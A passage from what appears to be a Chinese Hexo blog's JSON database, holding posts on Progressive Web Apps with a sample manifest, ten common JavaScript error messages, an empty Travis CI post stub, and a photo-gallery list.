一样添加到桌面\n* 可跳转：只要通过一个连接就可以跳转到你的 Web 页面。\n\n## 配置文件\n\n```json\nminifest.json 内容\n{\n  \"short_name\": \"pwa\",\n  \"name\": \"pwa - demo\", // 应用名称\n  \"icons\": [ // 应用显示图标，根据容器大小适配\n    {\n      \"src\": \"assets/imgs/48.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"48x48\"\n    },\n    {\n      \"src\": \"assets/imgs/96.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"96x96\"\n    },\n    {\n      \"src\": \"assets/imgs/192.png\",\n      \"type\": \"image/png\",\n      \"sizes\": \"192x192\"\n    }\n  ],\n  \"background_color\": \"#2196F3\", // 刚打开页面时的背景\n  \"theme_color\": \"#2196F3\", // 主题颜色\n  \"display\": \"standalone\", //独立显示\n  \"start_url\": \"index.html?launcher=true\" // 启动的页面\n}\n```\n\n待续...","slug":"PWA初窥","published":1,"updated":"2018-03-22T06:11:31.935Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y380006vzqhzzlsrm3e","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"Progressive-Web-Apps\"><a href=\"#Progressive-Web-Apps\" class=\"headerlink\" title=\"Progressive Web Apps\"></a>Progressive Web Apps</h1><h2 id=\"特性\"><a href=\"#特性\" class=\"headerlink\" title=\"特性\"></a>特性</h2><ul>\n<li>渐进式：能确保每个用户都能打开网页</li>\n<li>响应式：PC，手机，平板，不管哪种格式，网页格式都能完美适配</li>\n<li>离线应用：支持用户在没网的条件下也能打开网页，这里就需要 Service Worker 的帮助</li>\n<li>APP 化：能够像 APP 一样和用户进行交互</li>\n<li>常更新：一旦 Web 网页有什么改动，都能立即在用户端体现出来</li>\n<li>安全：安全第一，给自己的网站加上一把绿锁–HTTPS</li>\n<li>可搜索：能够被引擎搜索到推送：做到在不打开网页的前提下，推送新的消息</li>\n<li>可安装：能够将 Web 想 APP 一样添加到桌面</li>\n<li>可跳转：只要通过一个连接就可以跳转到你的 Web 页面。</li>\n</ul>\n<h2 id=\"配置文件\"><a href=\"#配置文件\" class=\"headerlink\" title=\"配置文件\"></a>配置文件</h2><pre><code class=\"json\">minifest.json 内容\n{\n  &quot;short_name&quot;: &quot;pwa&quot;,\n  &quot;name&quot;: &quot;pwa - demo&quot;, // 应用名称\n  &quot;icons&quot;: [ // 应用显示图标，根据容器大小适配\n    {\n      &quot;src&quot;: &quot;assets/imgs/48.png&quot;,\n      &quot;type&quot;: &quot;image/png&quot;,\n      &quot;sizes&quot;: &quot;48x48&quot;\n    },\n    {\n      &quot;src&quot;: &quot;assets/imgs/96.png&quot;,\n      &quot;type&quot;: &quot;image/png&quot;,\n      &quot;sizes&quot;: &quot;96x96&quot;\n    },\n    {\n      &quot;src&quot;: &quot;assets/imgs/192.png&quot;,\n      &quot;type&quot;: &quot;image/png&quot;,\n      &quot;sizes&quot;: &quot;192x192&quot;\n    }\n  ],\n  &quot;background_color&quot;: &quot;#2196F3&quot;, // 刚打开页面时的背景\n  &quot;theme_color&quot;: &quot;#2196F3&quot;, // 主题颜色\n  &quot;display&quot;: &quot;standalone&quot;, //独立显示\n  &quot;start_url&quot;: &quot;index.html?launcher=true&quot; // 启动的页面\n}\n</code></pre>\n<p>待续…</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"Progressive-Web-Apps\"><a href=\"#Progressive-Web-Apps\" class=\"headerlink\" title=\"Progressive Web Apps\"></a>Progressive Web Apps</h1><h2 id=\"特性\"><a href=\"#特性\" class=\"headerlink\" title=\"特性\"></a>特性</h2><ul>\n<li>渐进式：能确保每个用户都能打开网页</li>\n<li>响应式：PC，手机，平板，不管哪种格式，网页格式都能完美适配</li>\n<li>离线应用：支持用户在没网的条件下也能打开网页，这里就需要 Service Worker 的帮助</li>\n<li>APP 化：能够像 APP 一样和用户进行交互</li>\n<li>常更新：一旦 Web 网页有什么改动，都能立即在用户端体现出来</li>\n<li>安全：安全第一，给自己的网站加上一把绿锁–HTTPS</li>\n<li>可搜索：能够被引擎搜索到推送：做到在不打开网页的前提下，推送新的消息</li>\n<li>可安装：能够将 Web 想 APP 一样添加到桌面</li>\n<li>可跳转：只要通过一个连接就可以跳转到你的 Web 页面。</li>\n</ul>\n<h2 id=\"配置文件\"><a href=\"#配置文件\" class=\"headerlink\" title=\"配置文件\"></a>配置文件</h2><pre><code class=\"json\">minifest.json 内容\n{\n  &quot;short_name&quot;: &quot;pwa&quot;,\n  &quot;name&quot;: &quot;pwa - demo&quot;, // 应用名称\n  &quot;icons&quot;: [ // 应用显示图标，根据容器大小适配\n    {\n      &quot;src&quot;: &quot;assets/imgs/48.png&quot;,\n      &quot;type&quot;: &quot;image/png&quot;,\n      &quot;sizes&quot;: &quot;48x48&quot;\n    },\n    {\n      &quot;src&quot;: &quot;assets/imgs/96.png&quot;,\n      &quot;type&quot;: &quot;image/png&quot;,\n      &quot;sizes&quot;: &quot;96x96&quot;\n    },\n    {\n      &quot;src&quot;: &quot;assets/imgs/192.png&quot;,\n      &quot;type&quot;: &quot;image/png&quot;,\n      &quot;sizes&quot;: &quot;192x192&quot;\n    }\n  ],\n  &quot;background_color&quot;: &quot;#2196F3&quot;, // 刚打开页面时的背景\n  &quot;theme_color&quot;: &quot;#2196F3&quot;, // 主题颜色\n  &quot;display&quot;: &quot;standalone&quot;, //独立显示\n  &quot;start_url&quot;: &quot;index.html?launcher=true&quot; // 启动的页面\n}\n</code></pre>\n<p>待续…</p>\n"},{"title":"JS常见的十大错误","date":"2018-02-07T01:26:47.000Z","_content":"\n# 1. Uncaught TypeError: Cannot read property\n发生这种情况的原因很多，但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。\n\n# 2. TypeError: ‘undefined’ is not an object\n这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同，但 Safari 使用了不同的错误消息提示语。\n\n# 3. TypeError: null is not an object\n这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。\n> 在 JavaScript 中，null 和 undefined 是不一样的，这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量，而 null 表示该值为空。 要验证它们不相等，请尝试使用严格的相等运算符 ===\n\n# 4. (unknown): Script error\n当未捕获的 JavaScript 错误（通过window.onerror处理程序引发的错误，而不是捕获在try-catch中）被浏览器的跨域策略限制时，会产生这类的脚本错误。这是一种浏览器安全措施，旨在防止跨域传递数据，否则将不允许进行通信。\n\n# 5. TypeError: Object doesn’t support property\n这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。\n\n# 6. TypeError: ‘undefined’ is not a function\n当您调用未定义的函数时，这是 Chrome 中产生的错误。 \n\n# 7. Uncaught RangeError: Maximum call stack\n这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。\n\n# 8. TypeError: Cannot read property ‘length’\n这是 Chrome 中发生的错误，因为读取未定义变量的长度属性。\n\n# 9. Uncaught TypeError: Cannot set property\n当我们尝试访问一个未定义的变量时，它总是返回 undefined，我们不能获取或设置任何未定义的属性。 在这种情况下，应用程序将抛出 “Uncaught TypeError: Cannot set property”。\n\n# 10. ReferenceError: event is not defined\n当您尝试访问未定义的变量或超出当前范围的变量时，会引发此错误。","source":"_posts/JS常见的十大错误.md","raw":"---\ntitle: JS常见的十大错误\ndate: 2018-02-07 09:26:47\ntags: [js, error]\ncategories: web前端\n---\n\n# 1. Uncaught TypeError: Cannot read property\n发生这种情况的原因很多，但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。\n\n# 2. TypeError: ‘undefined’ is not an object\n这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同，但 Safari 使用了不同的错误消息提示语。\n\n# 3. TypeError: null is not an object\n这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。\n> 在 JavaScript 中，null 和 undefined 是不一样的，这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量，而 null 表示该值为空。 要验证它们不相等，请尝试使用严格的相等运算符 ===\n\n# 4. (unknown): Script error\n当未捕获的 JavaScript 错误（通过window.onerror处理程序引发的错误，而不是捕获在try-catch中）被浏览器的跨域策略限制时，会产生这类的脚本错误。这是一种浏览器安全措施，旨在防止跨域传递数据，否则将不允许进行通信。\n\n# 5. TypeError: Object doesn’t support property\n这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。\n\n# 6. TypeError: ‘undefined’ is not a function\n当您调用未定义的函数时，这是 Chrome 中产生的错误。 \n\n# 7. Uncaught RangeError: Maximum call stack\n这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。\n\n# 8. TypeError: Cannot read property ‘length’\n这是 Chrome 中发生的错误，因为读取未定义变量的长度属性。\n\n# 9. Uncaught TypeError: Cannot set property\n当我们尝试访问一个未定义的变量时，它总是返回 undefined，我们不能获取或设置任何未定义的属性。 在这种情况下，应用程序将抛出 “Uncaught TypeError: Cannot set property”。\n\n# 10. ReferenceError: event is not defined\n当您尝试访问未定义的变量或超出当前范围的变量时，会引发此错误。","slug":"JS常见的十大错误","published":1,"updated":"2018-02-07T01:41:07.091Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y3l0008vzqhsd1yzy4u","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script><h1 id=\"1-Uncaught-TypeError-Cannot-read-property\"><a href=\"#1-Uncaught-TypeError-Cannot-read-property\" class=\"headerlink\" title=\"1. Uncaught TypeError: Cannot read property\"></a>1. Uncaught TypeError: Cannot read property</h1><p>发生这种情况的原因很多，但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。</p>\n<h1 id=\"2-TypeError-‘undefined’-is-not-an-object\"><a href=\"#2-TypeError-‘undefined’-is-not-an-object\" class=\"headerlink\" title=\"2. TypeError: ‘undefined’ is not an object\"></a>2. TypeError: ‘undefined’ is not an object</h1><p>这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同，但 Safari 使用了不同的错误消息提示语。</p>\n<h1 id=\"3-TypeError-null-is-not-an-object\"><a href=\"#3-TypeError-null-is-not-an-object\" class=\"headerlink\" title=\"3. TypeError: null is not an object\"></a>3. TypeError: null is not an object</h1><p>这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。</p>\n<blockquote>\n<p>在 JavaScript 中，null 和 undefined 是不一样的，这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量，而 null 表示该值为空。 要验证它们不相等，请尝试使用严格的相等运算符 ===</p>\n</blockquote>\n<h1 id=\"4-unknown-Script-error\"><a href=\"#4-unknown-Script-error\" class=\"headerlink\" title=\"4. (unknown): Script error\"></a>4. (unknown): Script error</h1><p>当未捕获的 JavaScript 错误（通过window.onerror处理程序引发的错误，而不是捕获在try-catch中）被浏览器的跨域策略限制时，会产生这类的脚本错误。这是一种浏览器安全措施，旨在防止跨域传递数据，否则将不允许进行通信。</p>\n<h1 id=\"5-TypeError-Object-doesn’t-support-property\"><a href=\"#5-TypeError-Object-doesn’t-support-property\" class=\"headerlink\" title=\"5. TypeError: Object doesn’t support property\"></a>5. TypeError: Object doesn’t support property</h1><p>这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。</p>\n<h1 id=\"6-TypeError-‘undefined’-is-not-a-function\"><a href=\"#6-TypeError-‘undefined’-is-not-a-function\" class=\"headerlink\" title=\"6. TypeError: ‘undefined’ is not a function\"></a>6. TypeError: ‘undefined’ is not a function</h1><p>当您调用未定义的函数时，这是 Chrome 中产生的错误。 </p>\n<h1 id=\"7-Uncaught-RangeError-Maximum-call-stack\"><a href=\"#7-Uncaught-RangeError-Maximum-call-stack\" class=\"headerlink\" title=\"7. Uncaught RangeError: Maximum call stack\"></a>7. Uncaught RangeError: Maximum call stack</h1><p>这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。</p>\n<h1 id=\"8-TypeError-Cannot-read-property-‘length’\"><a href=\"#8-TypeError-Cannot-read-property-‘length’\" class=\"headerlink\" title=\"8. TypeError: Cannot read property ‘length’\"></a>8. TypeError: Cannot read property ‘length’</h1><p>这是 Chrome 中发生的错误，因为读取未定义变量的长度属性。</p>\n<h1 id=\"9-Uncaught-TypeError-Cannot-set-property\"><a href=\"#9-Uncaught-TypeError-Cannot-set-property\" class=\"headerlink\" title=\"9. Uncaught TypeError: Cannot set property\"></a>9. Uncaught TypeError: Cannot set property</h1><p>当我们尝试访问一个未定义的变量时，它总是返回 undefined，我们不能获取或设置任何未定义的属性。 在这种情况下，应用程序将抛出 “Uncaught TypeError: Cannot set property”。</p>\n<h1 id=\"10-ReferenceError-event-is-not-defined\"><a href=\"#10-ReferenceError-event-is-not-defined\" class=\"headerlink\" title=\"10. ReferenceError: event is not defined\"></a>10. ReferenceError: event is not defined</h1><p>当您尝试访问未定义的变量或超出当前范围的变量时，会引发此错误。</p>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<h1 id=\"1-Uncaught-TypeError-Cannot-read-property\"><a href=\"#1-Uncaught-TypeError-Cannot-read-property\" class=\"headerlink\" title=\"1. Uncaught TypeError: Cannot read property\"></a>1. Uncaught TypeError: Cannot read property</h1><p>发生这种情况的原因很多，但常见的一种是在渲染 UI 组件时对于状态的初始化操作不当。</p>\n<h1 id=\"2-TypeError-‘undefined’-is-not-an-object\"><a href=\"#2-TypeError-‘undefined’-is-not-an-object\" class=\"headerlink\" title=\"2. TypeError: ‘undefined’ is not an object\"></a>2. TypeError: ‘undefined’ is not an object</h1><p>这是在 Safari 中读取属性或调用未定义对象上的方法时发生的错误。这与 1 中提到的 Chrome 的错误基本相同，但 Safari 使用了不同的错误消息提示语。</p>\n<h1 id=\"3-TypeError-null-is-not-an-object\"><a href=\"#3-TypeError-null-is-not-an-object\" class=\"headerlink\" title=\"3. TypeError: null is not an object\"></a>3. TypeError: null is not an object</h1><p>这是在 Safari 中读取属性或调用空对象上的方法时发生的错误。</p>\n<blockquote>\n<p>在 JavaScript 中，null 和 undefined 是不一样的，这就是为什么我们看到两个不同的错误信息。undefined 通常是一个尚未分配的变量，而 null 表示该值为空。 要验证它们不相等，请尝试使用严格的相等运算符 ===</p>\n</blockquote>\n<h1 id=\"4-unknown-Script-error\"><a href=\"#4-unknown-Script-error\" class=\"headerlink\" title=\"4. (unknown): Script error\"></a>4. (unknown): Script error</h1><p>当未捕获的 JavaScript 错误（通过window.onerror处理程序引发的错误，而不是捕获在try-catch中）被浏览器的跨域策略限制时，会产生这类的脚本错误。这是一种浏览器安全措施，旨在防止跨域传递数据，否则将不允许进行通信。</p>\n<h1 id=\"5-TypeError-Object-doesn’t-support-property\"><a href=\"#5-TypeError-Object-doesn’t-support-property\" class=\"headerlink\" title=\"5. TypeError: Object doesn’t support property\"></a>5. TypeError: Object doesn’t support property</h1><p>这是您在调用未定义的方法时发生在 IE 中的错误。 您可以在 IE 开发者控制台中进行测试。</p>\n<h1 id=\"6-TypeError-‘undefined’-is-not-a-function\"><a href=\"#6-TypeError-‘undefined’-is-not-a-function\" class=\"headerlink\" title=\"6. TypeError: ‘undefined’ is not a function\"></a>6. TypeError: ‘undefined’ is not a function</h1><p>当您调用未定义的函数时，这是 Chrome 中产生的错误。 </p>\n<h1 id=\"7-Uncaught-RangeError-Maximum-call-stack\"><a href=\"#7-Uncaught-RangeError-Maximum-call-stack\" class=\"headerlink\" title=\"7. Uncaught RangeError: Maximum call stack\"></a>7. Uncaught RangeError: Maximum call stack</h1><p>这是 Chrome 在一些情况下会发生的错误。 一个是当你调用一个不终止的递归函数。</p>\n<h1 id=\"8-TypeError-Cannot-read-property-‘length’\"><a href=\"#8-TypeError-Cannot-read-property-‘length’\" class=\"headerlink\" title=\"8. TypeError: Cannot read property ‘length’\"></a>8. TypeError: Cannot read property ‘length’</h1><p>这是 Chrome 中发生的错误，因为读取未定义变量的长度属性。</p>\n<h1 id=\"9-Uncaught-TypeError-Cannot-set-property\"><a href=\"#9-Uncaught-TypeError-Cannot-set-property\" class=\"headerlink\" title=\"9. Uncaught TypeError: Cannot set property\"></a>9. Uncaught TypeError: Cannot set property</h1><p>当我们尝试访问一个未定义的变量时，它总是返回 undefined，我们不能获取或设置任何未定义的属性。 在这种情况下，应用程序将抛出 “Uncaught TypeError: Cannot set property”。</p>\n<h1 id=\"10-ReferenceError-event-is-not-defined\"><a href=\"#10-ReferenceError-event-is-not-defined\" class=\"headerlink\" title=\"10. ReferenceError: event is not defined\"></a>10. ReferenceError: event is not defined</h1><p>当您尝试访问未定义的变量或超出当前范围的变量时，会引发此错误。</p>\n"},{"title":"Travis CI 实现自动化部署","date":"2018-04-09T06:53:57.000Z","_content":"","source":"_posts/Travis-CI-实现自动化部署.md","raw":"---\ntitle: Travis CI 实现自动化部署\ndate: 2018-04-09 14:53:57\ntags:\n---\n","slug":"Travis-CI-实现自动化部署","published":1,"updated":"2018-04-09T06:53:57.025Z","comments":1,"layout":"post","photos":[],"link":"","_id":"cjhiu2y3t000avzqhdarbrypo","content":"<link rel=\"stylesheet\" class=\"aplayer-secondary-style-marker\" href=\"/assets/css/APlayer.min.css\"><script src=\"/assets/js/APlayer.min.js\" class=\"aplayer-secondary-script-marker\"></script>","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/b